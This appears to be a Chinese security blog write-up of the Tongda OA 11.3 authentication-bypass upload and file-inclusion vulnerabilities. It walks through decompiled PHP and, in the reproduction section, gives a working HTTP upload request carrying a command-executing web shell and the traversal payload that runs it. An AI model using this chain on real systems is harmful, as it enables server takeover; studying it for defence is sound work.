0x1 影响范围

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

0x02 环境搭建

通达OA11.3链接:https://pan.baidu.com/s/1_SpZe1W0Gso9phAdMmmXkg 提取码:xusf

0x03漏洞分析

安装完成后可以发现代码是加密的

zend 5.4解密工具:https://www.cr173.com/soft/418289.html

在线解密网站:http://dezend.qiling.org/free/

对web目录进行解密,也可以只解密需要分析的文件

31784-m7d7dypfd79.png

3.1文件上传

存在文件上传漏洞的文件位置 ispirit\im\upload.php,代码如下

<?php

set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
    ob_start();
    include_once "inc/session.php";
    session_id($P);
    session_start();
    session_write_close();
}
else {
    include_once "./auth.php";
}

include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
    $DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
    }
}

$MODULE = "im";

if (1 <= count($_FILES)) {
    if ($UPLOAD_MODE == "1") {
        if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
            $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
        }
    }

    $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

    if (!is_array($ATTACHMENTS)) {
        $dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
        echo json_encode(data2utf8($dataBack));
        exit();
    }

    ob_end_clean();
    $ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
    $ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);

    if ($TYPE == "mobile") {
        $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
    }
}
else {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);

if (!$FILE_SIZE) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("文件上传失败"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

if ($UPLOAD_MODE == "1") {
    if (is_thumbable($ATTACHMENT_NAME)) {
        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
    }

    $P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
    $MSG_CATE = $_POST["MSG_CATE"];

    if ($MSG_CATE == "file") {
        $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
    }
    else if ($MSG_CATE == "image") {
        $CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
    }
    else {
        $DURATION = intval($DURATION);
        $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
    }

    $AID = 0;
    $POS = strpos($ATTACHMENT_ID, "@");

    if ($POS !== false) {
        $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
    }

    $query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
    $cursor = exequery(TD::conn(), $query);
    $FILE_ID = mysql_insert_id();

    if ($cursor === false) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("数据库操作失败"));
        echo json_encode(data2utf8($dataBack));
        exit();
    }

    $dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
    echo json_encode(data2utf8($dataBack));
    exit();
}
else if ($UPLOAD_MODE == "2") {
    $DURATION = intval($_POST["DURATION"]);
    $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
    $query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
    $cursor = exequery(TD::conn(), $query);
    echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
    if (is_thumbable($ATTACHMENT_NAME)) {
        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
    }

    echo "+OK " . $ATTACHMENT_ID;
}
else {
    $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
    $msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
    $query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
    $cursor = exequery(TD::conn(), $query);
    $FILE_ID = mysql_insert_id();

    if ($cursor === false) {
        echo "-ERR " . _("数据库操作失败");
        exit();
    }

    if ($FILE_ID == 0) {
        echo "-ERR " . _("数据库操作失败2");
        exit();
    }

    echo "+OK ," . $FILE_ID . "," . $msg_id;
    exit();
}

?>

关键代码3-14行,这里只要传递参数"P"或参数P不为空,那么就不会进入else语句,auth.php主要实现身份认证功能,通过这里的参数"P"绕过登录认证

set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
    ob_start();
    include_once "inc/session.php";
    session_id($P);
    session_start();
    session_write_close();
}
else {
    include_once "./auth.php";
}

直接访问

62156-4erkz511vs6.png

传入P,已经绕过了登录限制

19753-pm3y6wl57dm.png

然后接下来根据流程,开始判断DEST_UID参数,只需要传入一个不为空和0的数字即可

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
    $DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
    }
}

65241-f6trh17vp9a.png

接下来继续跟进函数,只要是全局变量1 <= count($_FILES)即可,也就是有文件上传就会调用upload函数

if (1 <= count($_FILES)) {
    if ($UPLOAD_MODE == "1") {
        if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
            $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
        }
    }

    $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

upload函数,位于inc/utility_file.php的1665行,代码如下

function upload($PREFIX, $MODULE, $OUTPUT)
{
    if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
        if (!$OUTPUT) {
            return _("参数含有非法字符。");
        }

        Message(_("错误"), _("参数含有非法字符。"));
        exit();
    }

    $ATTACHMENTS = array("ID" => "", "NAME" => "");
    reset($_FILES);

    foreach ($_FILES as $KEY => $ATTACHMENT ) {
        if (($ATTACHMENT["error"] == 4) || (($KEY != $PREFIX) && (substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . "_"))) {
            continue;
        }

        $data_charset = (isset($_GET["data_charset"]) ? $_GET["data_charset"] : (isset($_POST["data_charset"]) ? $_POST["data_charset"] : ""));
        $ATTACH_NAME = ($data_charset != "" ? td_iconv($ATTACHMENT["name"], $data_charset, MYOA_CHARSET) : $ATTACHMENT["name"]);
        $ATTACH_SIZE = $ATTACHMENT["size"];
        $ATTACH_ERROR = $ATTACHMENT["error"];
        $ATTACH_FILE = $ATTACHMENT["tmp_name"];
        $ERROR_DESC = "";

        if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
            if (!is_uploadable($ATTACH_NAME)) {
                $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
            }

            $encode = mb_detect_encoding($ATTACH_NAME, array("ASCII", "UTF-8", "GB2312", "GBK", "BIG5"));

            if ($encode != "UTF-8") {
                $ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, "utf-8", MYOA_CHARSET);
            }
            else {
                $ATTACH_NAME_UTF8 = $ATTACH_NAME;
            }

            if (preg_match("/[\':<>?]|\/|\\\\|\"|\|/u", $ATTACH_NAME_UTF8)) {
                $ERROR_DESC = sprintf(_("文件名[%s]包含[/\'\":*?<>|]等非法字符"), $ATTACH_NAME);
            }

            if ($ATTACH_SIZE == 0) {
                $ERROR_DESC = sprintf(_("文件[%s]大小为0字节"), $ATTACH_NAME);
            }

            if ($ERROR_DESC == "") {
                $ATTACH_NAME = str_replace("'", "", $ATTACH_NAME);
                $ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);

                if ($ATTACH_ID === false) {
        

        $ERROR_DESC = sprintf(_("文件[%s]上传失败"), $ATTACH_NAME);
            }
            else {
                $ATTACHMENTS["ID"] .= $ATTACH_ID . ",";
                $ATTACHMENTS["NAME"] .= $ATTACH_NAME . "*";
            }
        }

        @unlink($ATTACH_FILE);
    }
    else if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
        $ERROR_DESC = sprintf(_("文件[%s]的大小超过了系统限制(%s)"), $ATTACH_NAME, ini_get("upload_max_filesize"));
    }
    else if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
        $ERROR_DESC = sprintf(_("文件[%s]的大小超过了表单限制"), $ATTACH_NAME);
    }
    else if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
        $ERROR_DESC = sprintf(_("文件[%s]上传不完整"), $ATTACH_NAME);
    }
    else if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
        $ERROR_DESC = sprintf(_("文件[%s]上传失败:找不到临时文件夹"), $ATTACH_NAME);
    }
    else if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
        $ERROR_DESC = sprintf(_("文件[%s]写入失败"), $ATTACH_NAME);
    }
    else {
        $ERROR_DESC = sprintf(_("未知错误[代码:%s]"), $ATTACH_ERROR);
    }

    if ($ERROR_DESC != "") {
        if (!$OUTPUT) {
            delete_attach($ATTACHMENTS["ID"], $ATTACHMENTS["NAME"], $MODULE);

            return $ERROR_DESC;
        }
        else {
            Message(_("错误"), $ERROR_DESC);
        }
    }
}

return $ATTACHMENTS;

}

调用了同文件下的is_uploadable()函数对文件名进行检查:

if (!is_uploadable($ATTACH_NAME)) {
            $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
        }

圈出来的代码代码意思是寻找最后一次出现 . 的位置,然后寻找后三个字符,然后变成小写字符看是否匹配字符’php’,绕过方式也很简单在最后加.即可,不过上传的文件不在web目录所以没什么用

60827-287av6p397x.png

然后构造文件上传包

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.10.161
Content-Length: 656
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJQo61MS4LliQDRSH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="UPLOAD_MODE"

1
------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="P"

1
------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryJQo61MS4LliQDRSH
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryJQo61MS4LliQDRSH--

09983-7bur5pdiha.png

文件存在于MYOA\attach\im 下

77379-k7krq5rr0j.png

3.2文件包含

漏洞文件位于ispirit/interface/gateway.php

<?php

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";

if ($P != "") {
    if (preg_match("/[^a-z0-9;]+/i", $P)) {
        echo _("非法参数");
        exit();
    }

    session_id($P);
    session_start();
    session_write_close();
    if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
        echo _("RELOGIN");
        exit();
    }
}

if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);

    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;

            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }

        if ($key == "url") {
            $url = $val;
        }
    }

    if ($url != "") {
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }

        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }

    exit();
}

?>

对$P进行了是否为空、判断当前用户是否登录,只需要使$P为空就不会进入if条件

if ($P != "") {
    if (preg_match("/[^a-z0-9;]+/i", $P)) {
        echo _("非法参数");
        exit();
    }

    session_id($P);
    session_start();
    session_write_close();
    if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
        echo _("RELOGIN");
        exit();
    }
}

之后从json中获取url参数的,以只要在传入的json数据中使url参数中包含ispirit/、general/、module/再跳转目录到包含的文件即可进行任意文件包含。

if ($json) {
    $json = stripcslashes($json); //去掉反斜杠 
    $json = (array) json_decode($json);//转为数组
    //遍历
    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;

            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }
        //判断是否有url这个键,有的话把值赋值给$url
        if ($key == "url") {
            $url = $val;
        }
    }
    //$url不为空进入if
    if ($url != "") {
        //如果是/开头,就去除/
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }
        //判断参数是否包含ispirit/、general/、module/
        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }

    exit();
}

0x04 漏洞复现

成功上传后,现在开始包含payload:

json={"url":"ispirit/../../attach/im/2204/436106789.jpg"}&cmd=whoami

成功执行

03765-9t7mzqvs8bf.png

前面说过可以用.php.来绕过is_uploadable函数的检测,这里演示一下

21084-q0i0n8jiim.png

查看

77389-7kx5akdlu0n.png

0x05版本路径

有些版本gateway.php路径不同
例如2013:

/ispirit/im/upload.php
/ispirit/interface/gateway.php

例如2017:

/ispirit/im/upload.php
/mac/gateway.php

0x06 参考

https://xz.aliyun.com/t/7424

最后修改:2022 年 04 月 21 日
如果觉得我的文章对你有用,请随意赞赏